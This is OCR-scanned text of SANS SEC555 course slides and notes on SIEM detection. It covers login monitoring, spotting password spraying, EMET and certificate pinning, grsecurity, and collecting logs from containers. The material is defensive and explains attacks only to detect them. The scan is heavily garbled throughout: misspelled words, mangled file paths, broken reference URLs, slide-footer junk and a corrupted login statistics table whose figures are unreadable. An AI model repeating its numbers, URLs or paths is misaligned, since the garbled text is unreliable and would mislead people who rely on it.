controlled by Linux Pluggable Authentication Modules (PAM). This is typically logged to /var/log/uuth.log or
fvarlog/secure,

Because Linux systems tend o use decentralized logons and the mathods for authenticating are simplified in
comparison 1o Windows, their events are straightforward and easy to understand.
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Moise Filtering

Graph breaks down successful logins by type of account
» And by token type "

94%+ of logs are from

computer accounts (noise)

« The focus should be user
and service accounts

* And on delegation

filimre

Keep or eliminate noise from machine account

TECSST | SIS winthi Tcteal Ay tics

Moise Filtering

Up to this point, the three main types of accounts have beéen covered: Computer accounts, service accounts, and
standard user accounts. Impersonation levels have as well. This slide graphically exhibits the breakdown of how
often these tvpes of accounts successfully log in in @ small lab environment. This is to demonstrate how
computer accounts create a lot of noise. In a normal enterprise environment, service accounts could also
generate a lot of noise depending on their functionality. For instance, a WMI-based network monitoring service,
such as SolarWinds Server and Application Monitor, will constantly generate login events.

Depending on your environment, computer logins and specific service account logins should be filtered out.
Below are the number and percentage breakdowns relating to the graph in the slide. These were taken from a lab
environment with about 25 Windows systems.

Impersonation Logons: Access token can be used only on local systems

Computer Accounts 313 4%
Service Accounts 107 1%
LUser Aceounts T16%9 Q4G

Delegation Logons: Access tokeén can be used on remote and local systems

User Accounts ] | 2%
Computer Accounts 1044 O8%
Reference:

https://www.solarwinds.com/server-application-monitor, hitps://sec5355.com/tq
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Service Accounts

Service accounts are intended for specific purposes

« Example: Vulnerability scanner service account is used
to log in and check system for risks

Tend to be directional or have limited use g

Vulnerability il ’ NOT il— /
Scanner V- g
<=

r

Domain Controller
Any logons not matching intended use are easy to monitor

MFZ 25T § TIER wibh Taiinlen | Aplyrecs

Service Accounts

Service accounts are targets for attackers and penctration lesters, Mainly because they tend to exist in every
environment, and they provide a higher level of access to resources, While this is bad, there is not a lot you can
do about it—service secounts are necessary. This author would much rather see organizations do credentialed
vitlnerability scans and figure out what to change/pateh/fix rather than not doing credentisled scans. Itisa
halanced risk decision.

However, knowing that service accounts should only be used certain ways provides an awesome ability to
monitor for abnormal behavior, Going back to the vulnerability scanner analogy. the attacker waited for an
inbound authentication request from the vulnerability scanner and then used SMB relay 1o sieal the credentials.
Rather than relaying these eredentials, that sitacker could attempt 10 crack the NTLM challenge to gain the
cleartext password of the service account. 1T for sorme reason this was successful, the attacker could use the
service credentials to log in to almost any system. However, the logons would not source from the vulnerability
scanner 1P address. This could be easily detected,

Another example would be an attacker gaining access to a system and using toels to retrieve the saved password
for services or scheduled tnsks, These accounts are likely to be used solely on the system in which they were
retrieved, Taking the time to inventory service accounts and where they should be logging in takes minimal time
respective to the situational awareness il provides,

Again, it may be bad that the credentials were stolen, but if you find out early and respond quickly enough, then
the adversary does not have time to meet his or her goal,
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Too Many Logins

Too much of a good thing is a bad thing
* Users with excessive logins to systems are suspicious
* Threshold needs determining =

» Exceptions will need to be made
for some accounts
* Delegation finds interactive sessions

* Impersonate finds things like scripts crawling network

sy | SIEM wen Tt Arenc

Too Many Logins

When thinking of login menitoring, most people immediately think about brute force attacks, which are attempts
to constantly log in to accounts until successfully guessing the right password. While lots of failed logins are of
course bad, so are too many successful logons.,

Users are creatures of habit. They tend to log in at certain times of the day and only to certain machines. While
some users, such as [T, regularly log in to multiple systems, most individuals will need only log in to a small
number of systems. If suddenly an account is being used to log in to excessive amounts of systems, it is a good
sign that something bad is happening,

In the previous scenario, the attacker stole an end user's delegation token and used it to log in to multiple servers
looking for patient data. Because multiple systems would log a successful login, this could be monitored and
uitimately discover the attack,

The image in this slide shows a visual mapping of users (o the system. This type of mapping can be used to
ignore users who have logged in to fewer than X systems. It is a great way for visually monitoring/alerting on
excessive logons and shows which user logged in to which systems, speeding up any possible response process.
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Too Many Failures

Counterpoint is too many login failures

» But what is "too many"?

» Standard user account could be 10+

» Service account should be... 0 (should be no failures)
The rules change depending on the situation

« 1 failure per account x 50 = password spraying
* Look for threshold per source

« 10 failures to a user from internet = it depends

FECE5T | SIEM with Thcesal Analytce

Too Many Failures

O course, too many login attempts is bad. [ one 1P address is generating thousands of login aitempts, vou are
brute forced. 1f this is from the internet toa DMZ system, then you do not have a lot of eptions. However,
monitoring failed logons internally is much higher Ddelity.

The key thing is to understand what is considered oo many logins and how o monitor. For example, il someone
were to log m o |00 user nocounts with-a password of password, it would likely bypass most aler systems.
This type of attack iz a form of brute forcing called password spraying; but since each account only gets one
attempt, it often is ignored, even though it is not stealthy in any way, shape. or form. Again, this 15 an example
of brite forcing,

Other things should be monitored as well. For example, an end user may accidentally enter their password
wrong five times. In fact, it could even be more than that, However, a service account should never fail to log in.
IMeven one failed login ocours, then either something is misconfigured. or something bad is happening,
Knowing the situations and context around your environment is whai makes your SIEM so powerful.
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Password Spraying

Brute force uses many passwords against a single user
= Password spraying spreads the love
* Tries one password against all accounts at a time
* Instead of the count by user try by device or total overall

P

While many systems will natively catch brute foreing, login attempts fail to find other forms of password
guessing such as password spraying. Password spraying involves trying one password against a list of users.

[Source Device = @,  Username s | Count r'\‘ & ®Toun
1721602 jhenderson-standard 42
172150.2 [renderson 40 E ‘ ! g
171602 addministrator 37 "..'_
1721602 bob 30 T — ‘x
172.48.02 genrge 30 o~ . .|..-m.-;..:-.,—m.r

assword Spraying

Each password is tested across all users prior to trying the next password. This level of iteration is easy to
perform and also can stay under the radar of account lockout thresholds. Because it is only one password guess
per user, it may fly under the radar,

However, this type of attack is still simple to catch. Instead of only monitoring failed logins by users, include
monitoring failed logins by source address. The picture on the left shows over a hundred login attempts from
172.16.0.2.

Technieally, even this can be evaded. Assume you are an attacker with thousands of compromised systems
under your control. Realistically, you could point all of them at a login page and tell them each to try a single
user and password. If the first password does not work, all these systems could then issue a second password
and continue in this manner. This would show up as one login per user per device per attempt. Worse yet, this is
likely 1o result in a successful login within the first couple of password guesses. It is a statistical probability.
With a large enough organization, there is a pretty good chance that a single password will work on the first
round of password spraying. Black Hills Information Security has some interesting articles on this topic.

So how do you catch a massively distributed password spray attack? It is still fairly easy, Simply monitor failed
logins in total. Statistics work on your side as well as the enemies’, The picture on the right shows a line chart of
failed logons over time. The spike is caused by a distributed password spray. This type of chart can also he
modified to show total failed logons overall, total failed logins from internal sources, and total failed logins from
external sources, This provides some additional context.

References:

https://www blackhillsinfosec.com/password-spraying-outlook-web-access-how-1o-gain-aceess-to-domain-
credentials=without-being-on-a-targsts-network-part-2/

https:/fsecS55. com/Gr
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Attacker’s use and abuse credentials
* Critical to monitor
Pays to monitor:
* Excessive logins and login failures
* Accounts logged in to an abnormal amount of systems

+ Single failures that should not happen or repetitive failures
* Local-to-local account use

* Service accounts being used improperly

SECSSS | STEM ek Tiw; il Aamyrles  iae

Login Review

Credentials are a key target during attacks. Monitoring both login successes and failures is another technique for
setting up early detection,
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SEC555 Workbook: Exercise 3.3: Login Monitoring o)

Exercise 3.3: Login Monitoring

« Exercise 3.3 is in the digital wiki found in your student 0O
VM (recommended) )

» Alternatively, you may use your Workbook J
)

J

)
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Course Roadmap
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Section 2: Serviece Profiling with SIEM
Section 3: Advanced Endpoint
Analytics

Section <: Baselining and User Behavior
Maonitoring

Section 5: Tactical SIEM Detection and
Post-Mortem Analysis

Section §: Capstone: Design, Detect,
Defend
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4. EXERCISE: Windaws Loy Filtering
5. Evenes of Interese

6. EXERCISE: Catching Evil with Windows Logs
7. Host-based Firewalls

8. Login Events

9. EXERCISE: Login Monitoring
10. OS Protection

11, Container Logging

12, EXERCISE: Docker Monitoring
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Operating systems often include built-in protection for
memory and processing

« Examples: ASLR, DEP, Heap Spray Protection, SEHOP
These protection mechanisms tend not to generate logs

» A good prevention technique should double as a detect

» Hard to do without logs

Process and memory protection often controlled by
application developers (at compile time)

SEC555 | STEM warh Thctezl A

08 Protection

Behind the scenes, each operating system deploys mechanisms to protect against rogue processes, [hese
protection mechanisms deal with monitoring and controlling abnormal use of things such as memory space or
process execution. Usually, when one of these protection capabilities is triggered, the offending process is
killed off.

Unfortunately, almost every operating system does not log what just occurred. Short of a log stating the specific
application has crashed, there is a huge gap in what occurred. To make matters worse, many of these protection
mechanisms have to be enabled by application developers when they compile their applications. This leads to
operating systems with capabilities to protect against certain types of attacks but with applications not utilizing
the capabilities.

Let's be clear here, Compiling with these capabilities is usually changing a variable from 2 0 1o a |. Modem
integrated development environments (IDEs) do their best to enable extra security measures by default. Older
IDEs do not. So, if vou are using old soflware, it is likely compiled without support for any additional
mechanisms such as ASLR, SEHOP, etc. Fortunately, there is & way to get around this.
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Microsoft offers a free utility called EMET
* Enables process/memory protection per process
* Can override default application protection
* Has built-in rules for common applications like Adobe
EMET" adds logging capabilities
* Only for processes it is protecting

* Easy to customize settings

Part of Windows Defender Exploit Guard

FECHES | TIEM it Tacudhl Ankbaics 11k

EMET

Having a full suit of armor dees you no good if you do not put it on. To address this, Microsaft released the
Enhanced Mitigation Experience Toolkit (EMET). lis purpose was twofold. One, it was (o create an easy
methed for enabling operating system process-level protection on a per-application basis. Twe, it was to allow
for newer process mitigation techniques to be introduced to operating systems. This means older operating
systems gain some protection offered in newer operating systems, and newer operating systems gain some
capabilitics that Microsoft is hoping to make mainstream,

While the additional protection of EMET is amazing. a huge bonus is the fact that any protection mechinisms
engaged by EMET log to the System Event channel. This combines protection with detection.

While EMET is extremely powerful, Microsoft has stated it will no langer be supported after July 31, 2018,
Originally, Microsoft tried (o set the end of life for EMET to January 2017, but the Microsoft and secuUrily
community pushed back. EMET is going away, but it is not gone. Its feature set is now part of the new Windows
Defencler Exploit Guard.

References:;

hitps:/‘support, microsoft.com/en-us/topic/emet-mitigations-guidelines-b529d54 3-2a8 1 - ThSa-d529-
B4b3Oel eceed, hitp://sec555 com/1 15

https:fmsre-blog microsoeom/20 1 10809 movin g-beyond-emet-ii-windows-defender-exploit-guard/,
https:/feecsS5.com/6t
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Centrally managing EMET is done with group policy
» GPO can be built from within EMET
» Takes settings of existing system and creates a GPO
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EMET GPO
Deployment and maintenance of EMET is as easy as it pets. Simply follow these steps:

L.
2
3,
4,
5.

Updating the GP(O is also easy:

Install EMET on a system.

Tune EMET according to your environment.
Click on Group Policy,

Create a New group policy.

Push EMET MSI and enable GPO on systems,

1. Tune EMET.
2. Click on Group Polioy.
3. Select the GPO name vou want to update and save over it
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EMET Protection (1)

EMET is ideal for old operating systems and applications
* Also works well for new operating systems
Take a client-side attack using Adobe Reader 9.4.0
* XP without EMET: Attack works
» With EMET, stops it and logs

* Windows 10 without EMET:— Attack fails, and generic app
crash log is generated

+ With EMET, stops it and logs -
EMET detected HeapSpray mitigation and will dose the
sppication: AcroRd32.exe

SECSTE | SIEM witht Trcheal Amaliies 16

EMET Protection (1)

EMET is primarily a prevention mechanism. Yet, like many preventative technologies, it has a hi ghly
underappreciated detection capability. Take, for example, 2 machine that gets hit with a client-side attack,
Without EMET, the system may or may not block the attnck. Regardless of the attack outcome, the logs
genernled do not provide context sbout what just happened,

With EMET, that missing context is captured in a log. For example, in this slide. a malicious PDF is
opened, and EMET blocks the attack. It then ereates a pop-up stating that a HeapSpray atiack was mitigated,
While an end user may have no idea what this means, the log hitting the SIEM acts as an alert that this end
user ey be getting phished,
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Win 7/2012 R2 and older
« Major enhancements in
protective capabilities®

« With per-process override

*+ Good chance of blocking
attacks

» Adds logging of attacks

* Few extras!
« Such as certificate pinning

EMET Protection (2)

Windows 10/2016

No major gain in protective
capabilities
= Process override is a key benefit

Possible chance of blocking
attacks

Adds logging of attacks

Few extras’
» Such as certificate pinning

SECRET | DIEM wh Tacue Amalytics

EMET Protection (2)

You will end up getting the most bang for your buck by deploying EMET to older operating systems. That being
safd, it still is advantageous to newer operating systems like Windows 10 and Server 2016. The primary benefit
is having control, per process, of which protection mechanism gets enabled. Microsoft has set the end of life of
EMET on the premise that EMET is no longer needed because Windows 10 supports all the main protection
mechanisms EMET has, and therefore is secure—whether EMET is installed or not. The author's reply to this is:
Yes, Windows 10 has almost every feature natively supported that is available in EMET, but if they are not
enabled, it does no good. ..

Again, having a suit of armor is worthless if you are not wearing it, The primary benefit of EMET on Windows
10 is the ability to tun protection mechanisms on (with logging) on processes that do not have them enabled,
Will Dormann from Carnegie Mellon University has an extremely well-written blog article titled "Windows 10
Cannot Protect Insecure Applications Like EMET Can" that explains this in detail,

References:

hittps:/finsights.sei.cmu.edw/eert’2016/1 | ‘windows- | 0-cannot-protect-insecure-applications-like-emet-can.html,
https:/fsee555.comlou
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Certificate Pinning

EMET also comes with a feature called certificate pinning
* Maps one or more certificate authorities to a website

* Access to pinned sites using a different authority generates a
pop-up and log
» The purpose is to detect man-in-the-middle attacks

Used to pin sites to authorized certificate authorities

* GPO controlled for lockdown -
’ii TR
EMET dhvtep e Begt fhie S0 coriificate fu =
ERERTE OO, R IRL T b e 1o “Fmot ookt
s ialnd mih e dgmnn

o RN h. L
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Certificate Pinning

Outside of enabling and enhancing process mitigation techniques, EMET also comes with a few added bonuses.
One is called certificate pinning. This capability allows an organization to map one or more trusted certificate
authorities per website, This can be used to detect SSL/TLS man-in-the-middle attacks.

For example, the website at hitps://sec555.com is using a GoDaddy-issued certificate. Therefore, the root CA is
from GoDaddy, The auther of this course also utilizes SSI. Inspection at home so when accessing
https://sec555,.com, a second root certificate authority is possible. In this example, the only two root certificate
authorities used should either be GoDaddy or the author’s root CA. If an attacker were to successfully man-in-
the-middle a system with a trusted certificate, EMET would detect it and alert. Even il 8 new root CA was sdded
to the system with EMET, EMET would still alert because of the certificate pinning rule.

Couple this capability with group policy central control and lockdown and the technique becomes fairly
interesting, Note that this is only intended for specific sites—not every site. The whole point of Trusted Root
Cenificate Authorities is to trust access to all sites. EMET certificate pinning is a technigue lor someone who is
paranoid or sensitive about a given site. However, think about this for a second: What if your default home page
on workstations is htips://scc355.com? With EMET in place, the firsi time someone opens their home pape
utilizing an unauthorized root CA (whether the local system trusts it or not), you have been alerted.
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)

Certificate Pinning Example &=
Event Properties - Event 42, EMET O
()

General Details O)
)

EMET version 5.52.6156.38092 =
[EMET detected that the SSL certificate for "sec555.com” is not trusted by the rule LJ
associated with the domain fwwiw hacecuntysalutions.com )
|Certificate Trust check failed: -
Application : C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE -
User Name : TEST\jhenderson )

)

O

(=)

-

Certificate Pinning Example O
This sereénshot is an example of EMET alerting to www.hasecuritysolutions.com being accessed when the root O
certificate authority involved does not match what is pinned with EMET. S
-

O

0

i ‘J

)

)

)
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Home Page Pin Trap

Certificate pinning is a good technique
* But it can go from good to awesome ...
The goal is to catch SSL/TLS man-in-the-middle
* But pinning every site is painful
* Selecting the wrong sites = late detection
Instead, pin each browser’s home page (or intranet page)
* Opening browser will immediately trigger EMET

» Little to no maintenance and early detection

FECEST| TEEM with Tactichl Anghroes 1

Home Page Pin Trap

The concept of certificate pinning can be done through EMET as well as other software or network devices,
Altogether, it is a good technique, but sometimes a good technique can be made an awesome technigque by
changing how it is deployed.

If you take certificate pinning and try to apply it to every site, you will quickly be overwhelmed and walk away,
If you try applying it only to sensitive sites, then you will be alerted once they dare hil, But since EMET does not
actually block the connection, you may not have carly enough detection to prevent the adversary from their end
goal. However, il you set up certilicate pinning for each browser’s home page, then as spon as everyone opens a
browser, you would be notified of an $SL/TLS man-in-the-middle atack. This works best if everyone's home
page is set to a corporate intranet page but can also work for other home pages,

It you do not set a company home page, you can always try setting up certificate pinning for each mainstream
browser's default home page.
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grsecurity is an enhancement for the Linux kernel
» Adds many process/memory protection capabilities
» Open-source but with commercial support

Requires "patching” kernel
« Powerful but complex

Similar capabilities to EMET g; grsecurity
» Plus has logging support

NEesa | SRE wath Tacocd A naiypcs

griecurity

Most of the capabilities of EMET exist in open-source alternatives for Linux. For example, grsecurity is a Linux
kernel patch that, when installed, adds a tremendous amount of process protection. It also adds a tremendous
number of logs (some useful and others not). Unfortunately, installation and maintenance of these types of
Linux programs are labor intensive and can be complex.

Unfortunately, installing grsecurity can also invalidate support contracts. In many cases, the extra security
features may not warrant the installation of grsecurity.

Reference;
https://grsecurity. net, hitps:/sec553. com/ow

178 £ 2022 SANS Institute




OS5 Protection Review

Operating systems have built-in capabilities to secure
processes
* Default protection often does not include logging

* Free software exists to overcome this
« EMET
= grsecurity

* These programs can also provide additional protection

SECSA5 | S1UM with Tacncal Anlyus. i

05 Protection Heview

This module was on using built-in operating system protections to detect malicious activity. EMET is a free and
awesome resource, and similar (yet different) solutions exist for Linux. The main point is that any preventive
technology, including buili-in protections, should be considered for a detection mechanism.
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Course Roadmap

» Section 1: SIEM Architecture

» Section 2: Service Profiling with SIEM
» Section 3: Advanced Endpoint

Analytics

» Section 4: Baselining and User Behavior

Monitoring

= Section 5: Tactical SIEM Detection and

Post-Mortem Analysis

+ Section 6: Capstone: Design, Detect,

Defend
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Logging with Container Technologies

Log collection and analysis of containers revolves around
three main areas

* Container service logs (Docker, LXC, containerd,
Kubernetes)

* Host operating system or platform logs
* Service logs of container application(s)

Each of the above are different for collection and analysis
* And you may want them all

HLASE | B with Tactical Angéetied ' lini

Logging with Container Technologics

Container technologies provide service abstruction. Containers are software packaged with required
dependencies that allow execution on various computing environments. They are minimal, fast, and efficiant,
Containers operate by using an operating system kernel to run isolated processes and network calls.

Contairers are most often temporary. Epithermal in the sense that they are deployed with the intent of being
temporary and thus later deleted, For example, deploying a service running an initiaf 1.0 relesse can be patched
in seconds by deleting the container and then deploying the 2.0 release. Thus, patching or making changes to
containers minimizes service disruptions.

Container technology is being mass adopted both on-premise and within the cloud. In tum, security teams are
playing catch up, trying to understand the technology, and moniloring it. For detection, organizations need to
focus on the logs dealing with the container technology and the application-specific logs found inside running
cantainers, Container dacmons such as Docker or Kubernetes contain logs that show what container and images
are in use and any add, moves, or changes. Application logs work the same as when deployed traditionally,
However, log collection methods change when the logs are inside containers,
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Container Architecture

{war/log/apachel

L access. log

error.log

Container Architecture

-i-_._._._.__-

Containers

| i___LegaEy j

g i - i

% fvar/log/mysgl
_— ~ errer.log
— mysqgl. log

— mysgl-slow.log

Docker Service 1

Jvarflog/upstart

—-docker.log

Host OS

EECERE| SIER) wirh Tartal fhmibrties

The diagram above represents container architecture. The diagram's base represents organizations either using a
container platform such as Amazon Kubemetes Service (AKS) or an on-premise deployment such as Docker
installed on top of & host operating system such as Ubuntu. Monitoring changes (o the container environment are

done at the base layer,

The top layer of the environment shows various containers running. Each container runs an application that has
its logs, such as Apache and MySQL. The challenge to organizations is figuring out how to collect these logs.
This module will show how to collect logs of both the base layer services as well as specific container

applications.
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Container Service Dasmon Logs

Service daemon such as a Docker daemon records key events
such as:

* Daemon events (errors, status, and general events)
* Calls to remote APIs (Example: docker service 1s)
* Creation, modification, and remowval of containers

Jan 08 23:52:59 secHsh dockerd|{dd418]:» time="2020-01-
CETZ23:52:58.517125078=-05:100" levelwdebug mag="Listener created
| for HTTP on Fd ()"

Fan 08 23:52:59 gech55 dockerd[4418]: time="2020-01-
OBT23:52:53,.519956507-05:00" level=infa mag="libcontainerd:
started new docker-containerd process" pid=4448

HEC335 | SEM with Tacte Amlyss i

Container Service Daemon Logs

All e often, organizations utilize virtualization such as hypervisors and container daemons. Yet, they do not
momnitor the environment for changes. For example, what if an adversary modified a container image or virtual
machine template? What if new systems were added without organization awarcness?

Such events van be monitored by collecting hypervisor or container service daemon logs, Daemons such as
Kubernetes and Docker support logging to a text file. The verbosity of the log is configurable. For example,
Docker logging levels can be changed by editing the Docker daemon.json file and editing or creating the debug
parameter, The default log level includes logging creation, deletion, and modification to containers, images, and
networks. Thus, the logs can be useful for detecting unauthorized changes.
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Amazon EKS Control Plane Logging

Cloud providers support native container logging
Amazon EKS allows logging daemon events to ClondWatch

aws eks --region us-west-2 update-cluster-config --name
prod \

-—logging
"{"clusterLogging”: [{"types":["api","audit", "authenticator
" "eontrollerManager", "scheduler"], "enabled":true} ]}’

Logs can then be viewed or pulled from CloudWatch
» Example: EKS -> CloudWatch <- Pull into SIEM

FELCRES | SIEM with Taczm| Analyec

Amazon EKS Control Plane Logging

Cloud platforms may use container daemons, but they may not expose their logs directly. As a result,
organizations need to interface with the cloud provider to identify how these logs or similar logs may be
retrieved. One example is the Amazon EKS control plane logs. There are multiple ways to enable it, sich as the
command found within the slide, Once enabled, organizations will have logs of creation, deletion, and changes
made within Amazon EKS.

The logs are then stored in Amazon CloudWatch, Many SIEM solutions natively can pull logs from
CloudWatch, So, the steps for detection are as follows:

1. Enable control plane logging.

2, Pull CloudWatch logs with SIEM,

3. Create rules to identify unauthorized activity.
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Container Logs

Primary concern is getting logs from container services
* Challenge is the ephemeral nature

fvars logfapache?

aceess. log

— prror.liog

Consider what happens when to a container when it is:
 Stopped, restarted, updated, etc.

JECSER | HEM weieh Taomenl Milytics 1@

Container Logs

Containers abstractly run services. The process is similar to virtual machines but operales more as isolated
processes. 1he main issue is that the isolation logs also become abstracted. Log files like
{varflog/apache2/access.log do not exist on a host or platform in that same loeation. A< a result. the log
enllection of container services requires planning.

The other issue with containers is that when they are stopped, restarted, or updated, that action often results in
the container being deleted and redeployed. 11 a container is redeployed, the logs are often purged and staried
over. This is due to containers being ephemeral. The next couple of slides offer guidance on how to deal with
colleeting logs from containers,
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Container Logging, Cont.

Four common options for collecting logs from containers
« Persistent data volume or bind mount

« Application inside container

« Monitoring container (“sidecar”)

 Daemon log drivers

Difficulty is not having the ability to access logs
« Itis choosing the right method

SECS5E | FIEM wiin Tactem| Anafpmez (1ild

Container Logging, ConL
This module will discuss four options for collecting logs from containers. These options are;

Persistent volumes or bind mounts
Application-level logging

Container sidecars

£ b=

Daemon log drivers
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Persistent DataVolume/Bind Mount

Containers are often non-persistent (can be destroyed)
* But data can be shifted to persistent location

: - ,
| '1 = = = S T
L___I'_*_g_LI_.l_:f" ! Rezides on A | HosL Ubuntu
Ef} fvar/log/nginx L /logs/oustomappl/nging
wELTa’] On
i acoess.log host Lo dccess. log
BEIOr . log —grror. log

Syslog or agent can ship of logs directly on the Host OS

SECSSS | SIEM weaeh Thedeml Aralyiirs (0¥

Persistent Data Volome/Bind Mount

Containers data by default is non-persistent. When a container is purged, so is all the data within it. One method
to allow for data to persist is mapping folders or files within the container to a host vid a volume mount or hind
mount. A volume mount creates a container volume that can be assigned to one or more containers. Data within
the volume persists and is mapped at container runtime. A host bind mount is similar to a Linux symbolic link.
A folder or file on the host is directly mapped 1o a folder or file within & container. Bind mounts are not
considered a best practice as they require additional work in maintaining aceess control lists. The container
service has Lo have access 1o the files, and the host does as well,

Using a bind mount, however, allows organizations to use traditional log collection methods. In the slide. an
Nginx container has /var/log/nginx mounted to the host at /logs/customapp | /nginx. Because of this, a log agent
on the host could collect the container logs by monitoring /logs/customapp | /ngins. A traditional agent would not
be able to monitor logs within a data velume.
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Container to Container Logging ("sidecar")

f Nginx

Host Ubuntu

Resides en

% fvarf{log/ngin® » B /log=s/customappl/ngink

Weitea on

[ access. g host to access.log
error.log error.laog R —
]
: Logging !
Has volume I Cantainer |
or bind e e =
maunt ta E fvarflog/ngin=

[~ aceess. log

One container can see another’s logs

arror.log

* One-to-one or One-to-many possible

SELEEE | SIEM sath Thennml Aratemit

Container to Container Logging ("sidecar”)

For data volumes, a sidecar container can menitor the Jogs. Sidecars are containers that monitor or collect logs
from other containers. Regarding log collection, a sidecar is usually a traditional log agent running inside a
container that is collecting logs on behalf of another container. For example, Nginx may be running using a data
volume. Because /var/log/nginx is writing to a data volume, logs cannot be collected traditionally from
{logs/customapp | /nginx as mentioned on the previous slide. However, another container could be deployed that
also has read access to the data volume. The agent could be a SIEM agent or even a traditional agent like
Syslog-NG or rsyslog. That agent then reads the logs from the data volume at /var/log/nginx, and logs can be
shipped directly 10 your SIEM,

The downside o a sidecar approach is that organizations have to manpage the complexity of managing one or
more sidecars. Technically, a single sidecar could be deployed that monitors many containers. However, it is
more common and easier to deploy a single sidecar per container or pod of containers than te cross-map all
containers to a single sidecar,
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Application Logging

Some applications support remote logging capabilities
* Example — Nginx can log direct to syslog

error_log server error.log;

access log
syslog:server=[10.5.55.2]:514, facility=local7, severity=inf
o;

Allows logs to ship directly from containers
* Application may support cloud storage buckets

SECSS5 | FEM it Tictal Apalyeiss

Application Logging

Another option for retrieving logs from containers Is to maodity the application to send logs directly to the SIEM
As an example, Nginx can be configured to log via syslog rather than to a text file. As a result, logs can he
shipped directly to the SIEM without a sidecar or bind mount. Unfortunately, not all applications have native
logeing capabilities that support shipping logs over the network. Thesa applications would require custom
coding. As a result, logging to the SIEM directly from applications is the least common container logging
option.
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Container Daemon Logging

Service daemon logs container output

» Like journalct]l within an operating system

« Referred to as log drivers

Examples:

« Docker json-file — Logs to a JSON file on host OS
» AWS awslogs — Logs to Amazon CloudWatch

SEL353 | MEM wih Tacocf Asuntyiics

Container Daemon Logging

Container daemons support logging drivers. Logging drivers provide the ability to capture the stdout and stderr
of containers. The output ¢an be stored in files on a host or cloud storage service such as Amazon S3. Some log
drivers also support shipping the logs to a network service such as syslog or direct to NFS.
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Daemon Visibility

Apache service

fvarflogfapache? — R L
ﬁ; ipisiiey v within container
— Amrrnr l‘:'q' hl--‘- lﬂgs tu s-tdﬂut
Default for
Apache would be
the same as

: access.log
& | Docker Service | s

| Host OS Log Driver

5 ] SEEM wieh Taeses| Anghviles i

Daemon Visibility

This stide represents a container daemon’s ability to capture container sutpul. Each contalner is runmning i
service that can output logs to stdout or siderr. Many container images default to logszing to stdoul, As a result,
daemon fog drivers can capture the output, By doing so, log drivers provide a simple, scalable method to miss-
collect container logs.
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Log Driver Configuration

Log driver supports multiple options
+ And each container can use a different log driver

version:s '2.2°
gservices:
apache: SB.I‘Ilp le
image: httpd
container name: apache . D\D'Ckerﬁle
logging:
driver: "json-file"
optilons;:
max-size: "200k"
max=-file: "10"

WL 50 | TIEMY with Tactesl Al | bes

Log Driver Configuration

This slide is an example of enabling log driver support in a container. This example configures the hitpd
container image to log to a JSON file. The JSON file is automatically rotated with this configuration example.
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Container Logging Review

Container monitoring involves:
* Looking for unauthorized changes (Daemon logs)

* Collecting and monitoring container service logs using:
Volumes or bind mounts

Modifying container application to log remotely
* Sidecars with log agents
Daemon logging drivers

SECEST | SIEM with Tocoaf Al (n2

Container Logging Review

Container monitoring involves collecting and monitoring container services logs as well as the container
daemon or platform,

22022 SANS Institute 183



SECS555 Workbook: Docker Monitoring

Docker Monitoring

» Docker Monitoring is in the digital wiki found in your
student VM (recommended)

» Alternatively, you may use your Workbook

ST | SIEM winh Tacesl Amitics
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SEC555 Daily NetWars

Immersive Cyber Challenges

SECS55 | SEEM with Taocal Mty im

Each section of SEC555: SIEM with Tactical Analytics ends with an immersive cyber challenge using the
NetWars engine. A NetWars scorcboard will be utilized to provide questions that allow for significant hands-on
experience in sddition to prior labs.

IT you are attending & live course, instructions will be provided for accessing the NetWars Bootcamp by your
instruétor,

If you are taking this class via OnDemand, instructions for connecting to your remote lab environment can be
found by clicking on My Labs in your SANS portal and following the on-sereen instructions.
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Free Cybersecurity Resources

sans.org/free

SANS instructors and analysts produce thousands of free resources and tools for the
cybersecurity community, including more than 150 free tools and hundreds of white papers
authored annually. SANS remains committed to providing free education and capabilities to the

cyber communities we serve, train, and certify.

Free Cybersecurity Community Resources
Internet Storm Center - Free Analysis and Warning Service

White Papers - Community InfoSec Research

Newsletters - Newshites; @Risk; OUCH!

Webcasts - Live and Archived

@ Blog - Cybersecurity Blog
@

(8] Posters - Job-Focused Resources

@ SANS Holiday Hack Challenge

Critical Security Controls - Recommended Actions for
Cyber Defense

Free Tools - SANS Instructors have built more than
150 open-source tools that support your work and help
you implement better security
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loin the SANS alumni community online

“As usual, SANS courses pay
for themselves by Day 2.

By Day 3, you are itching to
get back to the office to use
what you've learned.”

Ken Evans, Hewlett Packard
Entarprise -

Digital Investigation Services

Free Training and Events
» Test Drive 45+ SANS Courses
» Free SANS Summits & Forums

» Capture-the-Flag Cyber
Challenges

+ Cyber Aces
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WWW.Sans.org




